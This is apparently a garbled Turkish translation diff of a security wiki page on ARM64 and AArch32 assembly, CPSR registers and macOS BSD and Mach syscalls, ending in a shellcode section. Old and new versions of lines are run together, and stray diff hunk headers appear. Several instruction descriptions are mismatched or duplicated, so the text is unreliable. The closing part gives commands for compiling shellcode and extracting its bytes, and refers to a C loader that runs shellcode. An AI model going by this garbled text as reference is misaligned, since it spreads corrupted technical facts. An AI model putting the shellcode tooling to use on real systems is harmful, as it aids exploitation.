* **`SBFX X1, X2, #3, #4`** X2'den 3. bit konumundan başlayarak 4 bit çıkarır, bunları işaretler ve sonucu X1'e yerleştirir * **`SBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır, işaretler ve sonucu X1'e yerleştirir
* **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfırlar ve bunları X1'e 3. bit konumundan başlayarak yerleştirir, sağdaki bitleri sıfırlar * **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfırlar ve 3. bit pozisyonundan başlayarak X1'e yerleştirirken sağdaki bitleri sıfırlar
* **`UBFX X1, X2, #3, #4`** X2'den 3. bit konumundan başlayarak 4 bit çıkarır ve sonucu sıfırlanmış olarak X1'e yerleştirir. * **`UBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır ve sıfırlanmış sonucu X1'e yerleştirir.
* **İşareti Genişlet X'e:** Bir değerin işaretini (veya işaretsiz sürümünde sadece 0'ları ekler) genişletir ve işlemler yapabilmek için: * **X'e İşareti Uzat**: Bir değerin işaretini uzatır (veya işaretsiz sürümde sadece 0 ekler) ve işlemler yapabilmek için:
* **`SXTB X1, W2`** W2'den X1'e (X2'nin yarısı olan W2'den) 64 biti doldurmak için bir baytın işaretini genişletir * **`SXTB X1, W2`** Bir baytın işaretini **W2'den X1'e** (W2, `X2`'nin yarısıdır) 64 biti dolduracak şekilde uzatır
* **`SXTH X1, W2`** W2'den X1'e (W2'den X1'e) 16 bitlik bir sayının işaretini genişletir 64 biti doldurmak için * **`SXTH X1, W2`** 16 bitlik bir sayının işaretini **W2'den X1'e** dolduracak şekilde uzatır
* **`SXTW X1, W2`** W2'den X1'e (W2'den X1'e) bir baytın işaretini genişletir 64 biti doldurmak için * **`SXTW X1, W2`** Bir baytın işaretini **W2'den X1'e** dolduracak şekilde uzatır
* **`UXTB X1, W2`** Bir bayta 0'ları (işaretsiz) ekler ve 64 biti doldurmak için W2'den X1'e ekler * **`UXTB X1, W2`** Bir bayta 0 ekler (işaretsiz) ve 64 biti dolduracak şekilde **W2'den X1'e** ekler
* **`extr`:** Belirtilen **birleştirilmiş çift kayıtlardan** bitleri çıkarır. * **`extr`:** Belirtilen **çift kayıttan bitleri çıkarır ve birleştirir**.
* Örnek: `EXTR W3, W2, W1, #3` Bu, W1+W2'yi birleştirir ve W2'nin 3. bitinden W1'in 3. bitine kadar olan bitleri alır ve bunu W3'e kaydeder. * Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi** birleştirir ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır ve W3'e kaydeder.
* **`bl`**: **Branch** with link, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. * **`cmp`**: İki kaydı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'ın bir takma adı olup hedef kaydı sıfır kaydına ayarlar. `m == n`'nin olup olmadığını bilmek için kullanışlıdır.
* Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
* **`blr`**: **Branch** with Link to Register, hedefin bir **registerda belirtildiği** bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar.
* Örnek: `blr x1` — Bu, `x1` içindeki adresi olan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
* **`ret`**: **Alt programdan dön**, genellikle **`x30`** adresini kullanarak.
* Örnek: `ret` — Bu, `x30` içindeki dönüş adresini kullanarak mevcut alt programdan döner.
* **`cmp`**: İki kaydı karşılaştırır ve durum bayraklarını ayarlar. Hedef kaydı sıfır kaydına ayarlayan **`subs`**'ın bir takma adıdır. `m == n` ise kullanışlıdır.
* **`subs`** ile aynı sözdizimini destekler * **`subs`** ile aynı sözdizimini destekler
* Örnek: `cmp x0, x1` — Bu, `x0` ve `x1` içindeki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar. * Örnek: `cmp x0, x1` — Bu, `x0` ve `x1` içindeki değerleri karşılaştırır ve koşul bayraklarını buna göre ayarlar.
* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, **`adds`**'in bir takma adıdır ve aynı sözdizimini destekler. `m == -n` ise kullanışlıdır. * **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, `adds`'nin bir takma adıdır ve aynı sözdizimini destekler. `m == -n`'nin olup olmadığını bilmek için kullanışlıdır.
* **tst**: Bir kaydın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ANDS gibi çalışır) * **`ccmp`**: Koşullu karşılaştırma, önceki bir karşılaştırmanın doğru olması durumunda gerçekleştirilen ve özellikle nzcv bitlerini belirleyen bir karşılaştırmadır.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, _func'a atla
* Bu, çünkü **`ccmp`** yalnızca önceki `cmp` bir `NE` ise gerçekleştirilecek, değilse `nzcv` bitleri 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır).
* Bu aynı zamanda `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi).
* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydın herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır.
* Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol eder * Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol eder
* **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak. * **`teq`**: Sonucu atlayarak XOR işlemi
* Örnek: `b.eq label` — Önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar. * **`b`**: Koşulsuz atlama
* **`b.ne`**: **Eşit değilse dal**. Bu talimat, koşul bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlandı) ve karşılaştırılan değerler eşit değilse bir etikete veya adrese dalış yapar. * Örnek: `b myFunction`&#x20;
* Bu, dönüş adresiyle bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`bl`**: Bağlantı ile atlama, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar.
* Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
* Bu, dönüş adresiyle bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`blr`**: Kayıtlı hedefi belirtilen bir **kayıtta** olan bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu&#x20;
* Örnek: `blr x1` — Bu, adresi `x1` içinde bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
* **`ret`**: **Alt programdan dön**, genellikle **`x30`** adresini kullanarak.
* Örnek: `ret` — Bu, mevcut alt programdan `x30` adresindeki dönüş adresini kullanarak döner.
* **`b.<cond>`**: Koşullu atlamalar
* **`b.eq`**: **Eşitse atla**, önceki `cmp` talimatına dayanır.
* Örnek: `b.eq label` — Önceki `cmp` talimatında iki eşit değer bulunursa, bu `label`'a atlar.
* **`b.ne`**: **Eşit Değilse Atla**. Bu talimat, koşul bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese atlar.
* Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — `x0` ve `x1` içindeki değerler eşit değilse, bu `label`'a atlar. * Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — `x0` ve `x1` içindeki değerler eşit değilse, bu `label`'a atlar.
* **`cbz`**: **Sıfır üzerinde karşılaştır ve dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eşitse bir etikete veya adrese dalış yapar. * **`cbz`**: **Sıfır üzerinde karşılaştır ve atla**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eşitse, bir etikete veya adrese atlar.
* Örnek: `cbz x0, label` — `x0` içindeki değer sıfırsa, bu `label`'a atlar. * Örnek: `cbz x0, label` — `x0` içindeki değer sıfırsa, bu `label`'a atlar.
* **`cbnz`**: **Sıfır olmayan üzerinde karşılaştır ve dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eşit değilse bir etikete veya adrese dalış yapar. * **`cbnz`**: **Sıfır olmayan üzerinde karşılaştır ve atla**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eşit değilse, bir etikete veya adrese atlar.
* Örnek: `cbnz x0, label` — `x0` içindeki değer sıfır değilse, bu `label`'a atlar. * Örnek: `cbnz x0, label` — Eğer `x0` içindeki değer sıfırdan farklı ise, `label`'e atlar.
* **`adrp`**: Bir sembolün **sayfa adresini hesaplar** ve bir kayıtta saklar. * **`tbnz`**: Biti test et ve sıfırdan farklı ise dal
* Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0` içinde saklar. * Örnek: `tbnz x0, #8, label`
* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri yükler ve 64 bit olarak işaretle genişletir. * **`tbz`**: Biti test et ve sıfır ise dal
* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaretlenen bellek konumundan işaretle yüksek 32 bitlik bir değeri yükler, 64 bit olarak genişletir ve `x0` içinde saklar. * Örnek: `tbz x0, #8, label`
* **`stur`**: Bir kaydın değerini, başka bir kayıttan bir ofset kullanarak bir bellek konumuna saklar. * **Koşullu seçim işlemleri**: Bu işlemler davranışları koşullu bitlere bağlı olarak değişen işlemlerdir.
* Örnek: `stur x0, [x1, #4]` — Bu, `x1` içindeki adresden 4 bayt daha büyük olan bellek adresine `x0` içindeki değeri saklar. * `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer doğru ise, X0 = X1, eğer yanlış ise, X0 = X2
* **`svc`** : Bir **sistem çağrısı** yapar. "Supervisor Call" anlamına gelir. İşlemci bu talimatı çalıştırdığında, kullanıcı modundan çekirdek moduna geçer ve **çekirdeğin sistem çağrısı işleme** kodunun bulunduğu belirli bir bellek konumuna atlar. * `csinc Xd, Xn, Xm, cond` -> Eğer doğru ise, Xd = Xn, eğer yanlış ise, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Eğer doğru ise, Xd = Xn + 1, eğer yanlış ise, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Eğer doğru ise, Xd = Xn, eğer yanlış ise, Xd = DEĞİL(Xm)
* `cinv Xd, Xn, cond` -> Eğer doğru ise, Xd = DEĞİL(Xn), eğer yanlış ise, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Eğer doğru ise, Xd = Xn, eğer yanlış ise, Xd = - Xm
* `cneg Xd, Xn, cond` -> Eğer doğru ise, Xd = - Xn, eğer yanlış ise, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Eğer doğru ise, Xd = 1, eğer yanlış ise, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Eğer doğru ise, Xd = \<tüm 1>, eğer yanlış ise, Xd = 0
* **`adrp`**: Bir sembolün **sayfa adresini hesaplar** ve bir registere kaydeder.
* Örnek: `adrp x0, sembol` — Bu, `sembol`'ün sayfa adresini hesaplar ve `x0`'a kaydeder.
* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bitlere genişletilmiş** olarak yükler.
* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bitlere genişletir ve `x0`'a kaydeder.
* **`stur`**: Bir registere ait değeri, başka bir registerdaki bir ofset kullanarak bir bellek konumuna kaydeder.
* Örnek: `stur x0, [x1, #4]` — Bu, `x1` içindeki adresin 4 byte daha büyük olan bellek adresine `x0` içindeki değeri kaydeder.
* **`svc`** : Bir **sistem çağrısı** yapar. "Supervisor Call" kısaltmasıdır. İşlemci bu komutu çalıştırdığında, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrısı işleme** kodunun bulunduğu belirli bir bellek konumuna atlar.
* Örnek: * Örnek:
```armasm ```armasm
mov x8, 93 ; Çıkış için sistem çağrısı numarasını (93) x8 kaydına yükler. mov x8, 93 ; Çıkış için sistem çağrısı numarasını (93) x8 register'ına yükler.
mov x0, 0 ; Çıkış durum kodunu (0) x0 kaydına yükler. mov x0, 0 ; Çıkış durum kodunu (0) x0 register'ına yükler.
svc 0 ; Sistem çağrısı yapar. svc 0 ; Sistem çağrısı yapar.
``` ```
### **Fonksiyon Prologu** ### **Fonksiyon Prologu**
1. **Link kaydediciyi ve çerçeve işaretçisini yığıta kaydet**: 1. **Link register ve çerçeve işaretçisini yığına kaydet**:
{% code overflow="wrap" %}
```armasm ```armasm
stp x29, x30, [sp, #-16]! ; x29 ve x30 çiftini yığıta kaydet ve yığıt işaretçisini azalt stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
``` ```
{% endcode %}
2. **Yeni çerçeve işaretçisini ayarla**: `mov x29, sp` (geçerli fonksiyon için yeni çerçeve işaretçisini ayarlar) 2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (geçerli işlev için yeni çerçeve işaretçisini ayarlar)
3. **Yerel değişkenler için yığıtta yer ayır** (gerekiyorsa): `sub sp, sp, <boyut>` (<boyut>, ihtiyaç duyulan bayt sayısıdır) 3. **Yerel değişkenler için yığın üzerinde yer ayırın** (gerekiyorsa): `sub sp, sp, <boyut>` (burada `<boyut>`, ihtiyaç duyulan bayt sayısıdır)
### **Fonksiyon Epilogu** ### **İşlev Epilogu**
1. **Yerel değişkenleri geri al (eğer ayrıldıysa)**: `add sp, sp, <boyut>` 1. **Yerel değişkenleri serbest bırakın (eğer ayrıldıysa)**: `add sp, sp, <boyut>`
2. **Link kaydediciyi ve çerçeve işaretçisini geri yükle**: 2. **Bağlantı kaydedicisini ve çerçeve işaretçisini geri yükleyin**:
```armasm {% code overflow="wrap" %}
```armasm ```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
``` ```
{% endcode %} {% endcode %}
3. **Return**: `ret` (çağrıyı, bağlantı kaydedicideki adrese kullanarak çağrıyı geri döndürür) 3. **Dönüş**: `ret` (kontrolü çağırana, link kaydedicideki adrese döndürür)
## AARCH32 Yürütme Durumu ## AARCH32 Yürütme Durumu
Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinden** birinde çalışabilir ve **`interworking`** aracılığıyla bunlar arasında geçiş yapabilir.\ Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **iki komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve aralarında **`geçiş`** yapabilir.\
**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik bir programa istisna seviye transferi gerçekleştirerek 32 bitlik programların yürütülmesini planlayabilir.\ **Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviyesi aktarımı gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\
64 bitlikten 32 bitliğe geçiş, istisna seviyesinin düşürülmesiyle gerçekleşir (örneğin, EL1'de 64 bitlik bir programın EL0'da bir programı tetiklemesi). Bu, **`AArch32`** işlem süreci işletilmeye hazır olduğunda **`SPSR_ELx`** özel kaydedicinin **4. bitini 1** olarak ayarlayarak ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'ini depolayarak yapılır. Ardından, ayrıcalıklı işlem **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçiş yapar ve CPSR'ye bağlı olarak A32 veya T32'ye girer. 64 bitlikten 32 bitliğe geçişin, daha düşük bir istisna seviyesi ile gerçekleştiğini unutmayın (örneğin, EL1'de bir 64 bitlik programın EL0'da bir programa tetiklenmesi). Bu, `AArch32` işlem ipliğinin yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydedicisinin **4. bitini 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'ini saklar. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'ye bağlı olarak A32 veya T32'ye girer.
**`Interworking`**, CPSR'nin J ve T bitlerini kullanarak gerçekleştirilir. `J=0` ve `T=0` **`A32`**'i, `J=0` ve `T=1` **T32**'yi temsil eder. Bu, talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ **`Geçiş`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
Bu, **interworking dallanma talimatları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer talimatlarla doğrudan ayarlanabilir. Örnek: Bu, **geçiş dalı komutları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer komutlarla doğrudan ayarlanabilir. Örnek:
Başka bir örnek: Başka bir örnek:
```armasm ```armasm
@ -198,61 +280,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
mov r0, #0 mov r0, #0
mov r0, #8 mov r0, #8
``` ```
### Registerler ### Kayıtlar
16 adet 32-bit register bulunmaktadır (r0-r15). **r0'dan r14'e** kadar olanlar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır: 16 adet 32 bitlik kayıt bulunmaktadır (r0-r15). **r0'dan r14'e** kadar olanlar **herhangi bir işlem için** kullanılabilir, ancak bazıları genellikle aşağıdaki gibi ayrılmıştır:
* **`r15`**: Program sayacı (her zaman). Bir sonraki komutun adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4. - **`r15`**: Program sayacı (her zaman). Bir sonraki komutun adresini içerir. A32'de mevcut + 8, T32'de ise mevcut + 4.
* **`r11`**: Çerçeve İşaretçisi - **`r11`**: Çerçeve İşaretçisi
* **`r12`**: İç-prosedürel çağrı kaydedici - **`r12`**: İç işlevsel çağrı kaydı
* **`r13`**: Yığın İşaretçisi - **`r13`**: Yığın İşaretçisi
* **`r14`**: Bağlantı Kaydedici - **`r14`**: Bağlantı Kaydı
Ayrıca, registerler **`banked registerlerde`** yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde hızlı bağlam geçişini gerçekleştirmek için register değerlerini depolayan yerlerdir. Registerleri her seferinde manuel olarak kaydetme ve geri yükleme ihtiyacını önlemek için bu işlem **CPSR**'den işlemcinin alındığı işlem modunun **SPSR**'ine işlemci durumunu kaydetmek suretiyle yapılır. İstisna dönüşlerinde, **CPSR** **SPSR**'den geri yüklenir. Ayrıca, kayıtlar **`bankalı kayıtlar`**da yedeklenir. Bu, özel durum işleme ve ayrıcalıklı işlemlerde hızlı bağlam değiştirme yapabilmek için kayıt değerlerini depolayan yerlerdir, böylece her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\
Bu, işlemcinin durumunu **`CPSR`'den `SPSR`'ye** alarak yapılır ve alınan özel durumun işlemcinin moduna geri dönüşünde, **`CPSR`** **`SPSR`**'den geri yüklenir.
### CPSR - Mevcut Program Durumu Kaydedici ### CPSR - Geçerli Program Durumu Kaydı
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıcalık alındığında **`SPSR_ELx`**'de depolanır ve daha sonra yürütme geri yüklenir: AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında daha sonra yürütme yeniden başlatılmak üzere **`SPSR_ELx`**'de depolanır:
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
Alanlar bazı gruplara ayrılmıştır: Alanlar bazı gruplara ayrılmıştır:
* Uygulama Program Durumu Kaydedici (APSR): Aritmetik bayraklar ve EL0'den erişilebilir. - Uygulama Program Durumu Kaydı (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir.
* Yürütme Durumu Kaydedicileri: İşlem davranışı (işletim sistemi tarafından yönetilir). - Yürütme Durumu Kayıtları: İşlem davranışı (işletim sistemi tarafından yönetilir).
#### Uygulama Program Durumu Kaydedici (APSR) #### Uygulama Program Durumu Kaydı (APSR)
* **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'te olduğu gibi) - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'te olduğu gibi)
* **`Q`** bayrağı: Özel bir doyurmalı aritmetik talimatının yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **1** olarak ayarlandıktan sonra, manuel olarak 0 olarak ayarlanana kadar değeri korur. Ayrıca, değeri zımni olarak kontrol eden herhangi bir talimat yoktur, manuel olarak okunarak yapılmalıdır. - **`Q`** bayrağı: Özel doyurucu aritmetik komutun yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle 0'a ayarlanana kadar değeri korur. Ayrıca, değerini örtük olarak kontrol eden herhangi bir komut yoktur, değeri manuel olarak okunarak kontrol edilmelidir.
* **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, birden fazla veri noktasını tek bir talimatla işleme imkanı sağlar. - **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Komutla, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, bir komutta birden fazla veri noktasının işlenmesine izin verir.
Örneğin, **`UADD8`** talimatı, paralel olarak dört çift baytı (iki 32-bit operand) toplar ve sonuçları bir 32-bit registerda depolar. Ardından, bu sonuçlara dayanarak **`APSR`**'deki **`GE`** bayraklarını ayarlar. Her GE bayrağı, bayt toplamalarından birine karşılık gelir ve o bayt çifti için toplamanın **taşması durumunda** eklemenin taşması durumunu gösterir. Örneğin, **`UADD8`** komutu, paralel olarak dört çift baytı (iki 32 bitlik işlemden) toplar ve sonuçları bir 32 bitlik kayıtta depolar. Ardından, bu sonuçlara dayanarak **`APSR`** içindeki **`GE`** bayraklarını ayarlar. Her GE bayrağı, bayt çiftlerinden biri için eklemenin taşması durumunda eklemenin taştığını gösterir.
**`SEL`** talimatı, bu GE bayraklarını koşullu eylemler gerçekleştirmek için kullanır. **`SEL`** komutu, bu GE bayraklarını koşullu işlemler yapmak için kullanır.
#### Yürütme Durumu Kaydedicileri #### Yürütme Durumu Kayıtları
* **`J`** ve **`T`** bitleri: **`J`** 0 olmalı ve **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır. - **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve **`T`** 0 ise A32 komut seti kullanılır, 1 ise T32 kullanılır.
* **IT Blok Durumu Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26 bitleridir. Bir **`IT`** önekli grup içindeki talimatlar için koşulları depolarlar. - **IT Blok Durum Kaydı** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki komutlar için koşulları depolarlar.
* **`E`** biti: **endianness**'ı gösterir. - **`E`** biti: **endianness**'ı belirtir.
* **Mod ve İstisna Maskesi Bitleri** (0-4): Mevcut yürütme durumunu belirler. 5. bit programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4 bit, kullanılan **istisna modunu** belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı kümesi, bunun işlenirken başka bir istisna tetiklenirse **mevcut önceliği** belirtir. - **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** si programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan **mevcut özel durumunu** belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bu işlenirken başka bir istisna tetiklenirse **mevcut önceliği belirtir**.
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
* **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitlerini kullanarak devre dışı bırakılabilir. **`A`** 1 ise, **asenkron hatalar** tetiklenecektir. **`I`**, harici donanım **Kesme İstekleri**'ne (IRQ) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri**'ne (FIR) ilişkilidir. - **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **zaman uyumsuz hatalar** tetiklenecektir. **`I`**, harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri** (FIR'ler) ile ilgilidir.
## macOS ## macOS
### BSD sistem çağrıları ### BSD sistem çağrıları
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) adresine bakın. BSD sistem çağrıları **x16 > 0** olacaktır. [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)'a göz atın. BSD sistem çağrıları **x16 > 0** olacaktır.
### Mach Traps ### Mach Tuzakları
[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) adresine bakın. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları eksi işaretiyle çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur. [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html)'ya göz atın. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları eksi işaretiyle çağırmanız gerekecektir: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
Bu (ve BSD) sistem çağrılarını nasıl çağıracağınızı bulmak için bir disassemblerda **`libsystem_kernel.dylib`**'i kontrol edebilirsiniz: Bu (ve BSD) sistem çağrılarını nasıl çağıracağınızı bulmak için bir ayıklama aracında **`libsystem_kernel.dylib`**'i de kontrol edebilirsiniz:
```bash ```bash
# macOS # macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -261,10 +344,10 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
``` ```
{% hint style="success" %} {% hint style="success" %}
Bazen, kaynak kodunu kontrol etmek yerine **`libsystem_kernel.dylib`**'den **derlenmiş** kodu kontrol etmek daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodunda yorumları kontrol edin), oysa dylib içinde neyin çağrıldığını bulabilirsiniz. Bazen, birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulduğundan (kaynak kodundaki yorumlara bakın) **`libsystem_kernel.dylib`**'den **decompile** edilmiş kodu kontrol etmek kaynak kodunu kontrol etmekten daha kolay olabilir çünkü dylib içinde neyin çağrıldığını bulabilirsiniz.
{% endhint %} {% endhint %}
### Kabuk Kodları ### Shellcode'lar
Derlemek için: Derlemek için:
```bash ```bash
@ -274,16 +357,16 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this # You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
``` ```
Baytları çıkarmak için: Bytes'ı çıkarmak için:
```bash ```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c echo -n '\\x'$c
done done
``` ```
<details> <detaylar>
<summary>Kodun çalıştırılması için C kodu</summary> <özet>C kodu shellcode'u test etmek için</özet>
```c ```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader // gcc loader.c -o loader
@ -329,11 +412,9 @@ sc();
return 0; return 0;
} }
``` ```
</details> #### Kabuk
#### Shell [**buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır.
